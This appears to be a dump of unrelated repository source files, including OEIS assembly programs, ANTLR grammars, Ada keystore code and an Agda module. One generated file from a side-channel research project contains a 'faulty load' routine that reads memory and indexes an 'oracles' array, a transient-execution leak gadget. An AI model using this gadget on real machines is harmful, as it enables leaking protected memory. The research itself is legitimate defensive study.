'addresses_WT_ht', 'same': True, 'size': 8, 'congruent': 0, 'NT': False, 'AVXalign': False}, 'OP': 'LOAD'} {'35': 21829} 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 */
programs/oeis/108/A108165.asm
neoneye/loda
22
2603
; A108165: a(n)=a(n-1) +A108173(n+1) -A108173(n). ; 2,5,9,12,15,19,22,26,29,32,36,39,42,46,49,53,56,59,63,66,70,73,76,80,83,86,90,93,97,100,103,107,110,114,117,120,124,127,130,134,137,141,144,147,151,154,157,161,164,168,171,174,178,181,185,188,191,195,198,201 add $0,1 seq $0,277722 ; a(n) = floor(n*tau^2) where tau is the tribonacci constant (A058265). sub $0,1
libsrc/target/lviv/games/joystick.asm
ahjelm/z88dk
640
12699
<gh_stars>100-1000 ; Keyboard joysticks based on inkey SECTION code_clib PUBLIC joystick PUBLIC _joystick EXTERN joystick_sc EXTERN keys_qaop EXTERN keys_8246 EXTERN keys_cursor joystick: _joystick: ld a,l ld hl,keys_qaop cp 1 jp z,joystick_sc ld hl,keys_8246 cp 2 jp z,joystick_sc ld hl,keys_cursor cp 3 jp z,joystick_sc ld hl,0 ret
programs/oeis/318/A318765.asm
karttu/loda
1
85770
<gh_stars>1-10 ; A318765: a(n) = (n + 2)*(n^2 + n - 1). ; -2,3,20,55,114,203,328,495,710,979,1308,1703,2170,2715,3344,4063,4878,5795,6820,7959,9218,10603,12120,13775,15574,17523,19628,21895,24330,26939,29728,32703,35870,39235,42804,46583,50578,54795,59240,63919,68838,74003,79420,85095,91034,97243,103728,110495,117550,124899,132548,140503,148770,157355,166264,175503,185078,194995,205260,215879,226858,238203,249920,262015,274494,287363,300628,314295,328370,342859,357768,373103,388870,405075,421724,438823,456378,474395,492880,511839,531278,551203,571620,592535,613954,635883,658328,681295,704790,728819,753388,778503,804170,830395,857184,884543,912478,940995,970100,999799,1030098,1061003,1092520,1124655,1157414,1190803,1224828,1259495,1294810,1330779,1367408,1404703,1442670,1481315,1520644,1560663,1601378,1642795,1684920,1727759,1771318,1815603,1860620,1906375,1952874,2000123,2048128,2096895,2146430,2196739,2247828,2299703,2352370,2405835,2460104,2515183,2571078,2627795,2685340,2743719,2802938,2863003,2923920,2985695,3048334,3111843,3176228,3241495,3307650,3374699,3442648,3511503,3581270,3651955,3723564,3796103,3869578,3943995,4019360,4095679,4172958,4251203,4330420,4410615,4491794,4573963,4657128,4741295,4826470,4912659,4999868,5088103,5177370,5267675,5359024,5451423,5544878,5639395,5734980,5831639,5929378,6028203,6128120,6229135,6331254,6434483,6538828,6644295,6750890,6858619,6967488,7077503,7188670,7300995,7414484,7529143,7644978,7761995,7880200,7999599,8120198,8242003,8365020,8489255,8614714,8741403,8869328,8998495,9128910,9260579,9393508,9527703,9663170,9799915,9937944,10077263,10217878,10359795,10503020,10647559,10793418,10940603,11089120,11238975,11390174,11542723,11696628,11851895,12008530,12166539,12325928,12486703,12648870,12812435,12977404,13143783,13311578,13480795,13651440,13823519,13997038,14172003,14348420,14526295,14705634,14886443,15068728,15252495,15437750,15624499 add $0,1 mov $1,$0 pow $1,3 sub $1,$0 sub $1,$0 sub $1,1
graphwalker-dsl/src/main/antlr4/org/graphwalker/dsl/yed/YEdVertexParser.g4
avito-tech/graphwalker-project
3
1751
<reponame>avito-tech/graphwalker-project parser grammar YEdVertexParser; options { tokenVocab=YEdLabelLexer; } import DescriptionParser; parse locals [java.util.Set<String> fields = new java.util.HashSet<String>();] : start | field* EOF ; field : {!$parse::fields.contains("names")}? names {$parse::fields.add("names");} | {!$parse::fields.contains("shared")}? shared {$parse::fields.add("shared");} | {!$parse::fields.contains("outdegrees")}? outdegrees {$parse::fields.add("outdegrees");} | {!$parse::fields.contains("indegrees")}? indegrees {$parse::fields.add("indegrees");} | {!$parse::fields.contains("blocked")}? blocked {$parse::fields.add("blocked");} | {!$parse::fields.contains("actions")}? actions {$parse::fields.add("actions");} | {!$parse::fields.contains("sets")}? sets {$parse::fields.add("sets");} | {!$parse::fields.contains("reqtags")}? reqtags {$parse::fields.add("reqtags");} | {!$parse::fields.contains("description")}? description {$parse::fields.add("description");} | WHITESPACE ; start : WHITESPACE* (START) WHITESPACE* ; shared : SHARED WHITESPACE* COLON WHITESPACE* Identifier ; names : name (SEMICOLON name)* ; name : Identifier (DOT Identifier)* ; blocked : BLOCKED ; actions : INIT WHITESPACE* COLON WHITESPACE* (action)+ ; sets : SET WHITESPACE* COLON WHITESPACE* (set)+ ; action : .+ SEMICOLON ; set : .+ SEMICOLON ; reqtags : REQTAG WHITESPACE* (COLON | ASSIGN) WHITESPACE* reqtagList ; outdegrees : OUTDEGREE WHITESPACE* (COLON | ASSIGN) WHITESPACE* outdegreeList SEMICOLON ; indegrees : INDEGREE WHITESPACE* (COLON | ASSIGN) WHITESPACE* indegreeList SEMICOLON ; reqtagList : (reqtag WHITESPACE* COMMA WHITESPACE*)* reqtag ; outdegreeList : (outdegree WHITESPACE* COMMA WHITESPACE*)* outdegree ; indegreeList : (indegree WHITESPACE* COMMA WHITESPACE*)* indegree ; reqtag : ~(COMMA)+ ; outdegree : element ; indegree : element WHITESPACE* description? WHITESPACE* guard? WHITESPACE* weight? | element WHITESPACE* guard? WHITESPACE* description? WHITESPACE* weight? | description WHITESPACE* element? WHITESPACE* guard? WHITESPACE* weight? | description WHITESPACE* guard? WHITESPACE* element? WHITESPACE* weight? | guard WHITESPACE* description? WHITESPACE* element? WHITESPACE* weight? | guard WHITESPACE* element? WHITESPACE* description? WHITESPACE* weight? | element WHITESPACE* description? WHITESPACE* weight? WHITESPACE* guard? | element WHITESPACE* guard? WHITESPACE* weight? WHITESPACE* description? | description WHITESPACE* element? WHITESPACE* weight? WHITESPACE* guard? | description WHITESPACE* guard? WHITESPACE* weight? WHITESPACE* element? | guard WHITESPACE* description? WHITESPACE* weight? WHITESPACE* element? | guard WHITESPACE* element? WHITESPACE* weight? WHITESPACE* description? | element WHITESPACE* weight? WHITESPACE* description? WHITESPACE* guard? | element WHITESPACE* weight? WHITESPACE* guard? WHITESPACE* description? | description WHITESPACE* weight? WHITESPACE* element? WHITESPACE* guard? | description WHITESPACE* weight? WHITESPACE* guard? WHITESPACE* element? | guard WHITESPACE* weight? WHITESPACE* description? WHITESPACE* element? | guard WHITESPACE* weight? WHITESPACE* element? WHITESPACE* description? ; element : ~(COMMA | SEMICOLON | WHITESPACE)+ ; guard : NestedBrackets ; weight : WEIGHT WHITESPACE* ASSIGN WHITESPACE* Value ; description : comment | JAVADOC_START DOCSPACE* code DOCSPACE* JAVADOC_END | JAVADOC_START DOCSPACE* code DOCSPACE* DESCRIPTION_COMMENT JAVADOC_END ; comment : COMMENT ; code : CODE_TAG (voidExpression|booleanMethod) ;
oeis/177/A177146.asm
neoneye/loda-programs
11
175038
; A177146: n-th derivative of arctan(x) at x = 1, n >= 4. ; Submitted by <NAME> ; 0,-3,15,-45,0,1260,-11340,56700,0,-3742200,48648600,-340540200,0,40864824000,-694702008000,6252318072000,0,-1187940433680000,24946749107280000,-274414240180080000,0,75738330289702080000,-1893458257242552000000,24614957344153176000000,0,-9304453876089900528000000,269829162406607115312000000,-4047437436099106729680000000,0,2007528968305156937921280000000,-66248455954070178951402240000000,1126223751219193042173838080000000,0,-709520963268091616569517990400000000 add $0,3 seq $0,217260 ; E.g.f. 2*arctan(1+x) - Pi/2. div $0,2
src/keystore-passwords-unsafe.adb
thierr26/ada-keystore
25
24791
<reponame>thierr26/ada-keystore<gh_stars>10-100 ----------------------------------------------------------------------- -- keystore-passwords-unsafe -- Unsafe password provider -- Copyright (C) 2019 <NAME> -- Written by <NAME> (<EMAIL>) -- -- Licensed under the Apache License, Version 2.0 (the "License"); -- you may not use this file except in compliance with the License. -- You may obtain a copy of the License at -- -- http://www.apache.org/licenses/LICENSE-2.0 -- -- Unless required by applicable law or agreed to in writing, software -- distributed under the License is distributed on an "AS IS" BASIS, -- WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied. -- See the License for the specific language governing permissions and -- limitations under the License. ----------------------------------------------------------------------- package body Keystore.Passwords.Unsafe is type Provider (Len : Natural) is limited new Keystore.Passwords.Provider with record Password : String (1 .. Len); end record; -- Get the password through the Getter operation. overriding procedure Get_Password (From : in Provider; Getter : not null access procedure (Password : in Secret_Key)); -- ------------------------------ -- Create a unsafe command line base password provider. -- ------------------------------ function Create (Password : in String) return Provider_Access is begin return new Provider '(Len => Password'Length, Password => Password); end Create; -- ------------------------------ -- Get the password through the Getter operation. -- ------------------------------ overriding procedure Get_Password (From : in Provider; Getter : not null access procedure (Password : in Secret_Key)) is begin Getter (Keystore.Create (From.Password)); end Get_Password; end Keystore.Passwords.Unsafe;
agda-stdlib/src/Data/List/Relation/Unary/Grouped.agda
DreamLinuxer/popl21-artifact
5
14347
<filename>agda-stdlib/src/Data/List/Relation/Unary/Grouped.agda ------------------------------------------------------------------------ -- The Agda standard library -- -- Property that elements are grouped ------------------------------------------------------------------------ {-# OPTIONS --without-K --safe #-} module Data.List.Relation.Unary.Grouped where open import Data.List using (List; []; _∷_; map) open import Data.List.Relation.Unary.All as All using (All; []; _∷_; all) open import Data.Sum using (_⊎_; inj₁; inj₂) open import Data.Product using (_×_; _,_) open import Relation.Binary as B using (REL; Rel) open import Relation.Unary as U using (Pred) open import Relation.Nullary using (¬_; yes) open import Relation.Nullary.Decidable as Dec open import Relation.Nullary.Sum using (_⊎-dec_) open import Relation.Nullary.Product using (_×-dec_) open import Relation.Nullary.Negation using (¬?) open import Level using (_⊔_) infixr 5 _∷≉_ _∷≈_ data Grouped {a ℓ} {A : Set a} (_≈_ : Rel A ℓ) : Pred (List A) (a ⊔ ℓ) where [] : Grouped _≈_ [] _∷≉_ : ∀ {x xs} → All (λ y → ¬ (x ≈ y)) xs → Grouped _≈_ xs → Grouped _≈_ (x ∷ xs) _∷≈_ : ∀ {x y xs} → x ≈ y → Grouped _≈_ (y ∷ xs) → Grouped _≈_ (x ∷ y ∷ xs) module _ {a ℓ} {A : Set a} {_≈_ : Rel A ℓ} where grouped? : B.Decidable _≈_ → U.Decidable (Grouped _≈_) grouped? _≟_ [] = yes [] grouped? _≟_ (x ∷ []) = yes ([] ∷≉ []) grouped? _≟_ (x ∷ y ∷ xs) = map′ from to ((x ≟ y ⊎-dec all (λ z → ¬? (x ≟ z)) (y ∷ xs)) ×-dec (grouped? _≟_ (y ∷ xs))) where from : ((x ≈ y) ⊎ All (λ z → ¬ (x ≈ z)) (y ∷ xs)) × Grouped _≈_ (y ∷ xs) → Grouped _≈_ (x ∷ y ∷ xs) from (inj₁ x≈y , grouped[y∷xs]) = x≈y ∷≈ grouped[y∷xs] from (inj₂ all[x≉,y∷xs] , grouped[y∷xs]) = all[x≉,y∷xs] ∷≉ grouped[y∷xs] to : Grouped _≈_ (x ∷ y ∷ xs) → ((x ≈ y) ⊎ All (λ z → ¬ (x ≈ z)) (y ∷ xs)) × Grouped _≈_ (y ∷ xs) to (all[x≉,y∷xs] ∷≉ grouped[y∷xs]) = inj₂ all[x≉,y∷xs] , grouped[y∷xs] to (x≈y ∷≈ grouped[y∷xs]) = inj₁ x≈y , grouped[y∷xs]
Transynther/x86/_processed/NONE/_st_/i9-9900K_12_0xca_notsx.log_21829_1747.asm
ljhsiun2/medusa
9
96415
.global s_prepare_buffers s_prepare_buffers: push %r12 push %r14 push %r8 push %rbp push %rcx push %rdi push %rdx push %rsi lea addresses_A_ht+0x1cb5, %rsi lea addresses_UC_ht+0x6491, %rdi nop nop xor $64481, %rbp mov $37, %rcx rep movsq nop nop nop nop nop add %r12, %r12 lea addresses_D_ht+0x13011, %rdx clflush (%rdx) nop cmp $58349, %r14 movups (%rdx), %xmm0 vpextrq $0, %xmm0, %rsi nop nop nop cmp $49572, %rsi lea addresses_D_ht+0x19c91, %rsi lea addresses_normal_ht+0xe089, %rdi add %r8, %r8 mov $44, %rcx rep movsw nop nop nop nop sub %r8, %r8 lea addresses_WT_ht+0x1d869, %rsi lea addresses_A_ht+0xb5be, %rdi nop nop nop nop nop sub %rdx, %rdx mov $9, %rcx rep movsw nop nop add %rdi, %rdi lea addresses_UC_ht+0xf051, %rdi nop inc %rdx movups (%rdi), %xmm2 vpextrq $0, %xmm2, %r8 nop nop nop nop nop cmp $10448, %r8 lea addresses_WC_ht+0xc511, %rsi lea addresses_A_ht+0x2691, %rdi nop nop nop sub %r14, %r14 mov $14, %rcx rep movsl nop cmp $16077, %rdi pop %rsi pop %rdx pop %rdi pop %rcx pop %rbp pop %r8 pop %r14 pop %r12 ret .global s_faulty_load s_faulty_load: push %r10 push %r12 push %r14 push %r15 push %rcx push %rdi push %rdx push %rsi // Store lea addresses_A+0xe891, %r10 nop sub $61574, %r15 movl $0x51525354, (%r10) nop nop nop nop sub %r15, %r15 // Store lea addresses_WT+0x166e1, %r15 nop nop nop inc %r14 movb $0x51, (%r15) nop nop nop xor %r12, %r12 // Store lea addresses_WT+0xdb91, %r12 nop nop nop and %r14, %r14 movb $0x51, (%r12) nop nop nop nop nop inc %r12 // Store lea addresses_normal+0xc011, %r14 nop add $46159, %rcx movl $0x51525354, (%r14) nop nop sub %r12, %r12 // Load lea addresses_PSE+0x9b4d, %r14 nop xor $22160, %rdx mov (%r14), %di nop nop nop nop sub $17960, %r12 // REPMOV lea addresses_D+0x16491, %rsi lea addresses_WC+0x1bc91, %rdi nop and $56505, %r10 mov $68, %rcx rep movsw xor %r14, %r14 // Faulty Load lea addresses_WC+0x1bc91, %rdx nop nop nop and $34678, %r12 mov (%rdx), %cx lea oracles, %r10 and $0xff, %rcx shlq $12, %rcx mov (%r10,%rcx,1), %rcx pop %rsi pop %rdx pop %rdi pop %rcx pop %r15 pop %r14 pop %r12 pop %r10 ret /* <gen_faulty_load> [REF] {'OP': 'LOAD', 'src': {'same': False, 'type': 'addresses_WC', 'NT': False, 'AVXalign': False, 'size': 16, 'congruent': 0}} {'OP': 'STOR', 'dst': {'same': False, 'type': 'addresses_A', 'NT': True, 'AVXalign': False, 'size': 4, 'congruent': 9}} {'OP': 'STOR', 'dst': {'same': False, 'type': 'addresses_WT', 'NT': False, 'AVXalign': True, 'size': 1, 'congruent': 4}} {'OP': 'STOR', 'dst': {'same': False, 'type': 'addresses_WT', 'NT': False, 'AVXalign': False, 'size': 1, 'congruent': 6}} {'OP': 'STOR', 'dst': {'same': False, 'type': 'addresses_normal', 'NT': False, 'AVXalign': False, 'size': 4, 'congruent': 5}} {'OP': 'LOAD', 'src': {'same': False, 'type': 'addresses_PSE', 'NT': False, 'AVXalign': False, 'size': 2, 'congruent': 2}} {'OP': 'REPM', 'src': {'same': False, 'congruent': 9, 'type': 'addresses_D'}, 'dst': {'same': True, 'congruent': 0, 'type': 'addresses_WC'}} [Faulty Load] {'OP': 'LOAD', 'src': {'same': True, 'type': 'addresses_WC', 'NT': False, 'AVXalign': False, 'size': 2, 'congruent': 0}} <gen_prepare_buffer> {'OP': 'REPM', 'src': {'same': False, 'congruent': 1, 'type': 'addresses_A_ht'}, 'dst': {'same': True, 'congruent': 8, 'type': 'addresses_UC_ht'}} {'OP': 'LOAD', 'src': {'same': False, 'type': 'addresses_D_ht', 'NT': False, 'AVXalign': False, 'size': 16, 'congruent': 7}} {'OP': 'REPM', 'src': {'same': False, 'congruent': 10, 'type': 'addresses_D_ht'}, 'dst': {'same': False, 'congruent': 3, 'type': 'addresses_normal_ht'}} {'OP': 'REPM', 'src': {'same': False, 'congruent': 3, 'type': 'addresses_WT_ht'}, 'dst': {'same': False, 'congruent': 0, 'type': 'addresses_A_ht'}} {'OP': 'LOAD', 'src': {'same': False, 'type': 'addresses_UC_ht', 'NT': False, 'AVXalign': False, 'size': 16, 'congruent': 6}} {'OP': 'REPM', 'src': {'same': False, 'congruent': 7, 'type': 'addresses_WC_ht'}, 'dst': {'same': False, 'congruent': 9, 'type': 'addresses_A_ht'}} {'36': 21829} 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 */
antlr-basics/src/main/java/com/poc/chapter_07_part01/gen/PropertyFile.g4
cgonul/antlr-poc
0
5127
grammar PropertyFile; file : prop+ ; prop : ID '=' STRING NEWLINE ; ID : [a-z]+ ; STRING : '"' .*? '"' ; NEWLINE:'\r'? '\n' ; // return newlines to parser (end-statement signal)
build-utils/protocol-base-mspec/src/main/antlr4/org/apache/plc4x/plugins/codegenerator/language/mspec/MSpec.g4
jixuan1989/plc4x
0
7116
<filename>build-utils/protocol-base-mspec/src/main/antlr4/org/apache/plc4x/plugins/codegenerator/language/mspec/MSpec.g4 grammar MSpec; /* Licensed to the Apache Software Foundation (ASF) under one or more contributor license agreements. See the NOTICE file distributed with this work for additional information regarding copyright ownership. The ASF licenses this file to you under the Apache License, Version 2.0 (the "License"); you may not use this file except in compliance with the License. You may obtain a copy of the License at http://www.apache.org/licenses/LICENSE-2.0 Unless required by applicable law or agreed to in writing, software distributed under the License is distributed on an "AS IS" BASIS, WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied. See the License for the specific language governing permissions and limitations under the License. */ file : complexTypeDefinition* EOF ; complexTypeDefinition : COMMENT | LBRACKET complexType RBRACKET ; complexType : 'type' name=idExpression (LBRACKET params=argumentList RBRACKET)? fieldDefinition+ | 'discriminatedType' name=idExpression (LBRACKET params=argumentList RBRACKET)? fieldDefinition+ | 'enum' type=typeReference name=idExpression (LBRACKET params=argumentList RBRACKET)? enumValues=enumValueDefinition+ ; fieldDefinition : LBRACKET field (LBRACKET params=multipleExpressions RBRACKET)? RBRACKET ; field : arrayField | checksumField | constField | discriminatorField | enumField | implicitField | manualArrayField | manualField | optionalField | paddingField | reservedField | simpleField | typeSwitchField | virtualField ; arrayField : 'array' type=typeReference name=idExpression loopType=arrayType loopExpression=expression ; checksumField : 'checksum' type=dataType name=idExpression checksumExpression=expression ; constField : 'const' type=dataType name=idExpression expected=expression ; discriminatorField : 'discriminator' type=dataType name=idExpression ; enumField : 'enum' type=typeReference name=idExpression ; implicitField : 'implicit' type=dataType name=idExpression serializationExpression=expression ; manualArrayField : 'manualArray' type=typeReference name=idExpression loopType=arrayType loopExpression=expression deserializationExpression=expression serializationExpression=expression lengthExpression=expression ; manualField : 'manual' type=typeReference name=idExpression deserializationExpression=expression serializationExpression=expression lengthExpression=expression ; optionalField : 'optional' type=typeReference name=idExpression condition=expression ; paddingField : 'padding' type=dataType name=idExpression paddingValue=expression paddingCondition=expression ; reservedField : 'reserved' type=dataType expected=expression ; simpleField : 'simple' type=typeReference name=idExpression ; typeSwitchField : 'typeSwitch' discriminators=multipleExpressions caseStatement* ; virtualField : 'virtual' type=typeReference name=idExpression valueExpression=expression ; enumValueDefinition : LBRACKET valueExpression=expression name=IDENTIFIER (LBRACKET constantValueExpressions=multipleExpressions RBRACKET)? RBRACKET ; typeReference : complexTypeReference=IDENTIFIER | simpleTypeReference=dataType ; caseStatement : LBRACKET (discriminatorValues=multipleExpressions)? name=IDENTIFIER (LBRACKET params=argumentList RBRACKET)? fieldDefinition* RBRACKET ; dataType : base='bit' | base='int' size=INTEGER_LITERAL | base='uint' size=INTEGER_LITERAL | base='float' size=INTEGER_LITERAL | base='string' ; argument : type=typeReference name=idExpression ; argumentList : argument (',' argument)* ; expression : TICK expr=innerExpression TICK ; multipleExpressions : expression (',' expression)* ; innerExpression : 'A' | 'B' | 'C' | 'D' | 'E' | 'F' | HEX_LITERAL | INTEGER_LITERAL | (IDENTIFIER | arrayType) ('(' (innerExpression (',' innerExpression)* )? ')')? ('[' innerExpression ']')? | innerExpression '.' innerExpression // Field Reference or method call | innerExpression '[' + INTEGER_LITERAL + ']' // Array index | innerExpression BinaryOperator innerExpression // Addition | innerExpression '?' innerExpression ':' innerExpression | '(' innerExpression ')' | '"' innerExpression '"' | '!' innerExpression ; COMMENT : K_COMMENT [a-zA-Z0-9,.'":;()/ \t\r\n\u000C-]* | '//' [a-zA-Z0-9,.'":;()/ \t-]* ; INTEGER_LITERAL : [0-9]+ ; HEX_LITERAL : HexNumeral ; fragment HexNumeral : '0' [xX] HexDigit HexDigit?; fragment HexDigit : [0-9a-fA-F] ; arrayType : 'count' | 'length' | 'terminated' ; idExpression : TICK id=IDENTIFIER TICK ; fragment K_COMMENT : '<--'; TICK : '\''; TIMES : 'x'; LBRACKET : '['; RBRACKET : ']'; LCBRACKET : '{'; RCBRACKET : '}'; BinaryOperator : '+' | '-' | '/' | '*' | '==' | '!=' | '>' | '<' | '>=' | '<=' | '&&' | '||' | '%' ; ZERO : '0'; HEX_VALUE : [0-9A-F]; IDENTIFIER : [A-Za-z0-9_-]+ ; WS : [ \t\r\n\u000C]+ -> skip ;
generated/natools-static_maps-web-simple_pages-commands.adb
faelys/natools-web
1
19266
<filename>generated/natools-static_maps-web-simple_pages-commands.adb<gh_stars>1-10 with Interfaces; use Interfaces; package body Natools.Static_Maps.Web.Simple_Pages.Commands is P : constant array (0 .. 3) of Natural := (1, 4, 7, 8); T1 : constant array (0 .. 3) of Unsigned_8 := (10, 0, 13, 16); T2 : constant array (0 .. 3) of Unsigned_8 := (6, 10, 1, 21); G : constant array (0 .. 29) of Unsigned_8 := (0, 0, 9, 10, 4, 2, 10, 0, 1, 3, 0, 7, 0, 0, 0, 0, 11, 6, 0, 8, 2, 0, 0, 0, 0, 0, 0, 8, 0, 0); function Hash (S : String) return Natural is F : constant Natural := S'First - 1; L : constant Natural := S'Length; F1, F2 : Natural := 0; J : Natural; begin for K in P'Range loop exit when L < P (K); J := Character'Pos (S (P (K) + F)); F1 := (F1 + Natural (T1 (K)) * J) mod 30; F2 := (F2 + Natural (T2 (K)) * J) mod 30; end loop; return (Natural (G (F1)) + Natural (G (F2))) mod 14; end Hash; end Natools.Static_Maps.Web.Simple_Pages.Commands;
_incObj/Sonic RollRepel.asm
kodishmediacenter/msu-md-sonic
9
103024
